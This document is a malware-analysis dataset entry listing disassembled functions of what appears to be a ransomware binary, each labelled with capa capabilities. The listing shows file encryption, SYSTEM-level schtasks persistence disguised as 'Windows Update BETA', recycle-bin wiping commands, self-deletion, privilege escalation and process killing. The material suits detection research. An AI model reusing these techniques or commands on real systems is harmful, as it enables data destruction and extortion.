joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xc], esi
push edi
mov edi, edx
mov dword [ebp - 4], edi
test ecx, ecx
je 0x40190d
mov eax, dword [esi + 0x80]
push ebx
mov ebx, dword [ebp + 8]
cmp eax, 0x40
jae 0x401840
nop dword [eax]
mov al, byte [eax + esi + 0x40]
xor al, byte [edi]
inc edi
mov byte [ebx], al
inc ebx
mov eax, dword [esi + 0x80]
inc eax
mov dword [ebp - 8], ebx
sub ecx, 1
mov dword [esi + 0x80], eax
mov dword [ebp - 4], edi
mov dword [ebp + 0xc], ecx
je 0x40190c
cmp eax, 0x40
jb 0x401810
jmp 0x401843
mov dword [ebp - 8], ebx
lea eax, [esi + 0x40]
mov dword [ebp - 0x14], eax
nop dword [eax]
push 8
mov edx, esi
mov ecx, eax
call fcn.00401540
add esp, 4
add dword [esi + 0x30], 1
jne 0x401867
inc dword [esi + 0x34]
mov edx, dword [ebp + 0xc]
cmp edx, 0x40
jbe 0x4018e8
mov ecx, dword [ebp - 4]
lea eax, [ebx + 1]
add edi, 3
lea edx, [esi + 0x41]
sub ecx, ebx
mov esi, 0x10
mov dword [ebp - 0x10], ecx
mov ebx, ecx
nop word [eax + eax]
movzx ecx, byte [edx - 1]
lea edx, [edx + 4]
xor cl, byte [edi - 3]
lea edi, [edi + 4]
mov byte [eax - 1], cl
lea eax, [eax + 4]
movzx ecx, byte [ebx + eax - 4]
xor cl, byte [edx - 4]
mov byte [eax - 4], cl
movzx ecx, byte [edx - 3]
xor cl, byte [edi - 5]
mov byte [eax - 3], cl
movzx ecx, byte [edx - 2]
xor cl, byte [edi - 4]
mov byte [eax - 2], cl
sub esi, 1
jne 0x401890
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
add edi, 0x40
mov esi, dword [ebp - 0xc]
add ebx, 0x40
sub dword [ebp + 0xc], 0x40
mov dword [ebp - 4], edi
mov dword [ebp - 8], ebx
lea eax, [esi + 0x40]
jmp 0x401850
test edx, edx
je 0x401906
sub edi, ebx
xor esi, esi
mov eax, dword [ebp - 0x14]
lea ecx, [esi + ebx]
mov al, byte [eax + esi]
inc esi
xor al, byte [edi + ecx]
mov byte [ecx], al
cmp esi, edx
jb 0x4018f0
mov esi, dword [ebp - 0xc]
mov dword [esi + 0x80], edx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404bc0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0xcc]
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00402360
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x1b4]
call fcn.004034e0
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x164]
call fcn.004037a0
lea eax, [ebp - 0x164]
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x114]
call fcn.00401920
add esp, 0xc
lea ecx, [ebp - 0x114]
call fcn.00401df0
lea ecx, [ebp - 0x114]
call fcn.00401ed0
movups xmm0, xmmword [ebp - 0x114]
lea edx, [ebp - 0x7c]
mov ecx, esi
movups xmmword [ebp - 0x7c], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [ebp - 0x6c], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [ebp - 0x5c], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [ebp - 0x4c], xmm0
movups xmm0, xmmword [ebp - 0xd4]
movups xmmword [ebp - 0x3c], xmm0
call fcn.00402660
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404cc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0x426300
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x42c320
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x42b884], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x26
push str._r_n
push dword [0x42b884]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret
Function at 0x404d60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1000
push 8
push dword [0x42e394]
call edi
mov esi, eax
test esi, esi
jne 0x404dac
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x80
call ebx
push 0x1000
push 8
push dword [0x42e394]
call edi
mov esi, eax
test esi, esi
je 0x404d90
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
push 0x7ff
push esi
call fcn.00404cb0
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call fcn.0040ea46
add esp, 0x1c
mov ebx, eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [esp + 0x1c]
movzx eax, word [esp + 0x16]
push ecx
movzx ecx, word [esp + 0x1e]
push ecx
movzx ecx, word [esp + 0x20]
push ecx
push eax
movzx eax, word [esp + 0x22]
push eax
movzx eax, word [esp + 0x24]
push eax
lea eax, [esp + 0x38]
push str.__hu__hu__hu__hu:_hu:_hu_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov edi, eax
push 0x42c320
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
lea eax, [esp + 0x10]
push eax
lea eax, [edi + edi]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [esp + 0x2c]
push eax
push dword [0x42b884]
call edi
push 0
lea eax, [esp + 0x10]
push eax
or eax, 0xffffffff
test ebx, ebx
cmovs ebx, eax
add ebx, ebx
push ebx
push esi
push dword [0x42b884]
call edi
push 0
lea eax, [esp + 0x10]
push eax
push 4
push 0x42633c
push dword [0x42b884]
call edi
push 0x42c320
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4050a0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x42c30c], 0
jne 0x4050d2
push str.GlobalFunderMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x42e378], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4050d2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
ret
Function at 0x405110
Capabilities:
Accept command line arguments
Create process on windows
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60c
cmp dword [0x42c31c], 0
jne 0x4051b7
push esi
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 4], 1
jle 0x40517d
push dword [eax + 4]
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x60c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_BETA___TR___s__s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x405199
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x60c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_BETA___TR___s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x60c]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4051c0
Capabilities:
Create process on windows

Disassembly:
push 0
push 0
push str._c_SCHTASKS.exe__Delete__TN__Windows_Update_BETA___F
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret

Function at 0x405200
Capabilities:
Create process on windows
Empty the recycle bin

Disassembly:
push esi
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._c_rd__s__q_P:_RECYCLE.BIN_Q:_RECYCLE.BIN_R:_RECYCLE.BIN_S:_RECYCLE.BIN_T:_RECYCLE.BIN_U:_RECYCLE.BIN_V:_RECYCLE.BIN_W:_RECYCLE.BIN_X:_RECYCLE.BIN_F:_RECYCLE.BIN_G:_RECYCLE.BIN_K:_RECYCLE.BIN_L:_RECYCLE.BIN_M:_RECYCLE.BIN_N:_RECYCLE.BIN_O:_RECYCLE.BIN_Y:_RECYCLE.BIN_Z:_RECYCLE.BIN_A:_RECYCLE.BIN_B:_RECYCLE.BIN_C:_RECYCLE.BIN_D:_RECYCLE.BIN_E:_RECYCLE.BIN_H:_RECYCLE.BIN_I:_RECYCLE.BIN_J:_RECYCLE.BIN
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_rd__s__q_P:Recycler_Q:Recycler_R:Recycler_S:Recycler_T:Recycler_U:Recycler_V:Recycler_W:Recycler_X:Recycler_F:Recycler_G:Recycler_K:Recycler_L:Recycler_M:Recycler_N:Recycler_O:Recycler_Y:Recycler_Z:Recycler_A:Recycler_B:Recycler_C:Recycler_D:Recycler_E:Recycler_H:Recycler_I:Recycler_J:Recycler
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_powershell__inputformat_none__outputformat_none__NonInteractive__Command_Remove__Item_d:_RECYCLE.BIN_c:_RECYCLE.BIN__Recurse__Force
push str.cmd.exe
push str.open
push 0
call esi
pop esi
ret
Function at 0x4054a0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
cmp dword [0x42c31c], 0
jne 0x405580
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._ss.exe
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [0x42c300]
cmp eax, 2
jne 0x4054f5
lea eax, [ebp - 0x20c]
push eax
push str._c___s___SHUTDOWN
jmp 0x40550d
cmp eax, 1
lea eax, [ebp - 0x20c]
push eax
jne 0x405508
push str._c___s___RESTART
jmp 0x40550d
push str._c___s_
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x20c]
push esi
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405562
push 0
lea eax, [ebp - 4]
push eax
push 0x1a00
push 0x422080
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
lea eax, [ebp - 0x80c]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x405590
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
cmp dword [0x42c314], 0
jne 0x4055f8
cmp dword [0x42c31c], 0
jne 0x4055f8
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x808]
push str._c_ping_127.0.0.1__n_5___nul__del___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x808]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esp, ebp
pop ebp
ret

Function at 0x405600
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [ebp - 0x38], str.SeDebugPrivilege
mov dword [ebp - 0x34], str.SeRestorePrivilege
mov dword [ebp - 0x30], str.SeBackupPrivilege
mov dword [ebp - 0x2c], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0x28], str.SeAuditPrivilege
mov dword [ebp - 0x24], str.SeSecurityPrivilege
mov dword [ebp - 0x20], str.SeIncreaseBasePriorityPrivilege
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
test eax, eax
je 0x4056a3
lea eax, [ebp - 0xc]
push eax
push dword [ebp + esi*4 - 0x38]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40569e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
push 0
push 0
push 0x10
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call edi
inc esi
cmp esi, 7
jb 0x405648
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405860
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov ebx, 0x104
mov dword [ebp - 0x10], ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], ebx
mov byte [ebp - 1], 1
nop
add ebx, ebx
push ebx
push 8
push dword [0x42e394]
call edi
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x4058bf
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 8
push dword [0x42e394]
call edi
mov esi, eax
mov dword [ebp - 0xc], eax
test esi, esi
je 0x4058a0
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
jne 0x4058fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x4059d1
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [ebp - 8]
jmp 0x405880
cmp word [esi], 0
jne 0x4059d1
cmp dword [ebp - 8], 1
jne 0x4059da
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
je 0x405923
cmp eax, 3
jne 0x4059da
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x10]
push eax
push 8
push dword [0x42e394]
mov dword [ebp - 0x14], eax
call edi
mov ebx, eax
test ebx, ebx
jne 0x40596f
mov esi, dword [ebp - 0x14]
nop dword [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42e394]
call edi
mov ebx, eax
test ebx, ebx
je 0x405950
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.bootmgr
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4059bc
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4059da
push ebx
push 0
push dword [0x42e394]
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4059da
mov al, 1
mov byte [ebp - 1], al
test esi, esi
je 0x4059ec
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405a00
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x68], 0x428d0c
mov dword [ebp - 0x64], 0x428d14
xor edi, edi
mov dword [ebp - 0x60], 0x428d1c
mov dword [ebp - 0x5c], 0x428d24
mov dword [ebp - 0x58], 0x428d2c
mov dword [ebp - 0x54], 0x428d34
mov dword [ebp - 0x50], 0x428d3c
mov dword [ebp - 0x4c], 0x428d44
mov dword [ebp - 0x48], 0x428d4c
mov dword [ebp - 0x44], 0x428d54
mov dword [ebp - 0x40], 0x428d5c
mov dword [ebp - 0x3c], 0x428d64
mov dword [ebp - 0x38], 0x428d6c
mov dword [ebp - 0x34], 0x428d74
mov dword [ebp - 0x30], 0x428d7c
mov dword [ebp - 0x2c], 0x428d84
mov dword [ebp - 0x28], 0x428d8c
mov dword [ebp - 0x24], 0x428d94
mov dword [ebp - 0x20], 0x428d9c
mov dword [ebp - 0x1c], 0x428da4
mov dword [ebp - 0x18], 0x428dac
mov dword [ebp - 0x14], 0x428db4
mov dword [ebp - 0x10], 0x428dbc
mov dword [ebp - 0xc], 0x428dc4
mov dword [ebp - 8], 0x428dcc
mov dword [ebp - 4], 0x428dd4
nop word [eax + eax]
mov ebx, dword [ebp + edi*4 - 0x68]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x405ae8
mov dword [ebp + esi*4 - 0xd0], ebx
inc esi
inc edi
cmp edi, 0x1a
jl 0x405ad0
push 0x104
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405b9c
nop dword [eax + eax]
cmp word [ebp - 0x2d8], 0x5c
jne 0x405b7a
cmp word [ebp - 0x2d6], 0x5c
jne 0x405b7a
cmp word [ebp - 0x2d4], 0x3f
jne 0x405b7a
cmp word [ebp - 0x2d2], 0x5c
jne 0x405b7a
lea ecx, [ebp - 0x2d8]
call fcn.00405860
test al, al
jne 0x405b7a
test esi, esi
je 0x405b95
mov edi, dword [ebp + esi*4 - 0xd4]
lea eax, [ebp - 0x2d8]
dec esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
je 0x405b7a
push edi
lea eax, [ebp - 0x2d8]
push eax
push str.Mounted__s_as__s
call fcn.00404d60
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x405b10
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405bb0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x24], ecx
push eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
xor bl, bl
mov dword [ebp - 0x1c], 0
push eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov byte [ebp - 1], bl
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x405d8f
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x405d86
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
cmp eax, 0xea
jne 0x405d86
push esi
imul esi, dword [ebp - 0x10], 0x29c
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 8
push dword [0x42e394]
call edi
mov ecx, eax
mov dword [ebp - 0x18], ecx
test ecx, ecx
jne 0x405c7b
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0x80
call ebx
push esi
push 8
push dword [0x42e394]
call edi
mov ecx, eax
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x405c60
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x1c]
push eax
push ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x405d70
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 8]
xor edx, edx
mov dword [ebp - 0x20], edx
mov esi, eax
mov dword [ebp - 0x28], esi
test ecx, ecx
je 0x405d70
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ebx
mov eax, dword [ebx]
cmp eax, esi
je 0x405d5b
cmp eax, 4
je 0x405d5b
mov eax, dword [ebx + 0x28c]
lea edi, [ebx + 0xc]
cmp eax, 4
je 0x405d5b
cmp eax, 0x3e8
je 0x405d5b
xor esi, esi
nop word [eax + eax]
push dword [esi + 0x425b58]
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x405d52
add esi, 4
cmp esi, 0x34
jb 0x405cf0
mov eax, dword [ebp - 0x14]
xor bl, bl
push dword [eax]
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x405d4c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x4e20
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
movzx ebx, bl
mov eax, 1
cmove ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add byte [ebp - 1], bl
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x28]
inc edx
add ebx, 0x29c
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], ebx
cmp edx, ecx
jb 0x405cc0
push dword [ebp - 0x18]
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, byte [ebp - 1]
pop edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407320
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x10]
mov ecx, 0x20
test al, 0x20
cmovne eax, ecx
cmp dword [0x42c304], 0
mov dword [ebp - 0x10], eax
lea ebx, [eax + eax]
je 0x407364
push 0
push 0
push 0
push 0x404f40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x42e384], eax
test eax, eax
je 0x4074b2
push SysReAllocString
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
lea esi, [ebx*4]
push esi
push 8
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x4073c5
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4073a5
xor esi, esi
test ebx, ebx
je 0x4073ed
nop dword [eax + eax]
push 0
push 0
push 0
push 0x406c80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + esi*4], eax
inc esi
cmp esi, ebx
jb 0x4073d0
push ebx
push str._lu_I_O_Workers_Created
call fcn.00404d60
mov eax, dword [0x42c31c]
add esp, 8
test eax, eax
je 0x40740c
push eax
call fcn.00406390
jmp 0x407411
call fcn.004069d0
push str.Waiting_For_I_O_Workers
call fcn.00404d60
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x300
call esi
mov eax, dword [0x42e37c]
cmp dword [0x42e380], eax
jne 0x407424
test ebx, ebx
je 0x407473
mov esi, ebx
nop
push 0
push 0
push 0
push dword [0x42e384]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub esi, 1
jne 0x407440
push 0xffffffffffffffff
push 1
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [edi + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, ebx
jb 0x407463
jmp 0x40747f
push 0xffffffffffffffff
push 1
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push edi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [0x42e384]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Encryption_Completed
call fcn.00404d60
add esp, 4
push SysReAllocString
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4074c0
Capabilities:
Hide graphical window

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
ret